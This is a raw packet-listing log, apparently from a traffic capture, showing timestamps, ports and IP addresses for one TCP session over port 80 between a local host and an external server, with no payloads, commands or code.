Dec 18, 2024 11:47:19.067257881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.067303896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.067310095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.067352057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.068555117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.068608999 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.068697929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.068736076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.069792986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.069834948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.069912910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.069953918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.070789099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.070852041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.070939064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.071052074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.072052002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.072102070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.072280884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.072417021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.073100090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.073158979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.073216915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.073265076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.074295998 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.074341059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.074491024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.074538946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.075551033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.075599909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.075737000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.075778008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.076653957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.076699972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.076766014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.076807976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.077855110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.077896118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.078160048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.078212023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.079063892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.079112053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.079545021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.079591036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.080131054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.080214977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.080249071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.080290079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.081311941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.081408978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.081410885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.081461906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.082453012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.082515001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.082638979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.082779884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.083564997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.083622932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.213340044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.213453054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.213526964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.213941097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.214087009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.214148045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.215100050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.215229988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.215291023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.216259956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.216317892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.216536999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.217236996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.217407942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.217453003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.217531919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.218615055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.218703985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.218729973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.219803095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.219858885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.219892979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.220246077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.220952988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.221227884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.221285105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.222103119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.222639084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.222718000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.223269939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.223341942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.223481894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.224452019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.224509954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.224571943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.225610018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.225667953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.226197004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.226784945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.226840019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.227319956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.227931976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.227988958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.229095936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.229125977 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.229137897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.229144096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.229166985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.229192972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.230293989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.230350971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.230406046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.231441021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.231589079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.231638908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.232636929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.233433008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.233490944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.233808041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.233928919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.233978987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.234962940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.235018969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.235065937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.236161947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.236213923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.236562967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.236912012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.237354994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.237404108 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.237510920 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.238240004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.238491058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.238533020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.238620043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.238658905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.239805937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.239860058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.240077019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.240123987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.240832090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.240885973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.241049051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.241100073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.241988897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.242036104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.242270947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.242337942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.243163109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.243223906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.243419886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.243465900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.244421959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.244474888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.244712114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.245532036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.245570898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.245589972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.245620966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.246726990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.246798992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.246848106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.247828007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.247885942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.248059988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.248125076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.249018908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.249063969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.249177933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.249269009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.250183105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.250340939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.250581026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.250622988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.251370907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.251410961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.251521111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.251558065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.252530098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.253326893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.253369093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.253680944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.254242897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.254285097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.254862070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.254903078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.255028009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.256063938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.256104946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.256128073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.256514072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.257170916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.257230997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.257579088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.257625103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.258354902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.258398056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.259026051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.259160042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.259586096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.259624004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.259846926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.259895086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.260730982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.260783911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.260955095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.260997057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.261856079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.261925936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.261993885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.262036085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.263017893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.263060093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.263070107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.263104916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.264225006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.264898062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.264956951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.265358925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.265552044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.265592098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.266532898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.266680002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.266719103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.267695904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.267749071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.268230915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.268996000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.269042015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.269356966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.269407034 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.270322084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.270366907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.270487070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.270528078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.271262884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.271337986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.271367073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.271550894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.272408962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.272448063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.272532940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.272568941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.273540974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.273583889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.273637056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.273672104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.274688959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.274736881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.405292988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.405467987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.405611992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.405827999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.406011105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.406078100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.407021999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.407083035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.407200098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.408436060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.408485889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.408874035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.409435034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.409447908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.409490108 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.410594940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.410778999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.410834074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.411858082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.411870956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.411909103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.411932945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.412910938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.412957907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.413268089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.414213896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.414263964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.414438963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.415144920 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.415158033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.415205956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.415222883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.415664911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.415678024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.415726900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.415726900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.416778088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.417093039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.417144060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.418003082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.418064117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.418193102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.418560982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.419099092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.419286013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.419333935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.422686100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.422707081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.422719955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.422730923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.422743082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.422756910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.422759056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.422777891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.423796892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.423854113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.424964905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.424978018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.424990892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.425029039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.425049067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.426126957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.426181078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.426326990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.426373005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.427419901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.427432060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.427478075 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.428750038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.429131985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.429219961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.429733992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.429810047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.430130005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.430205107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.430804968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.430856943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.430942059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.430983067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.431966066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.432014942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.432220936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.432272911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.433130980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.433321953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.433376074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.434305906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.434381008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.434475899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.435460091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.435511112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.435535908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.436620951 CET	49806	80	192.168.2.6	31.41.244.11
